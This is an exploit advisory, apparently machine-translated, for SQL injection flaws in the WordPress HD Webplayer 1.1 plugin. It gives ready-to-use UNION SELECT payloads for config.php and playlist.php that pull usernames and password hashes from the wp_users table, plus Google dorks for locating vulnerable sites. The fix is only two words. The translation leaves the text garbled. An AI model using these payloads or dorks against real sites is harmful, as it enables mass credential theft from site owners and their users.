Wordpress HD Webplayer 1.1 SQL injection and repair

Title Wordpress HD Webplayer 1.1 SQL Injection
Author: JoinSe7en
Official Website: http://www.hdwebplayer.com/
Software connection: http://hdwebplayer.com/downloads/hdwebplayer_wordpress_1.1.zip
Affected version: version 1.1
Tested systems: Windows 7, Backtrack 5 r3

+ ---------------------------------------------------------------------- +
| Defect 1-config. php |
+ ---------------------------------------------------------------------- +

# Location:

Http://www.bkjia.com/wp-content/plugins/hd-webplayer/config. php? Id = [inject here]

# Exploit Code:

Config. php? Id = 1 + /*! UNION */+ /*! SELECT */+ 1, 2, 3, group_concat (ID, 0x3a, user_login, 0x3a, user_pass, 0x3b), 5, 6, 7 + from + wp_users // Number of columns may be different

+ ---------------------------------------------------------------------- +
| Defect 2-playlist. php |
+ ---------------------------------------------------------------------- +

# Location:

Http://www.bkjia.com/wp-content/plugins/hd-webplayer/playlist. php? Videoid = [inject here]

# Exploit Code:

Playlist. php? Videoid = 1 + /*! UNION */+ /*! SELECT */+ group_concat (ID, 0x3a, user_login, 0x3a, user_pass, 0x3b), 2, 3, 4, 5, 6, 7 + from + wp_users // Number of columns may be different

 
Three different search keywords:

# Dork 1 (config. php)
Inurl: "/wp-content/plugins/hd-webplayer/config. php? Id ="

# Dork 2 (playlist. php)
Inurl: "/wp-content/plugins/hd-webplayer/playlist. php? Videoid ="

# Dork 3 (General ):
Inurl: "/wp-content/plugins/hd-webplayer /"

Fix: Targeted Filtering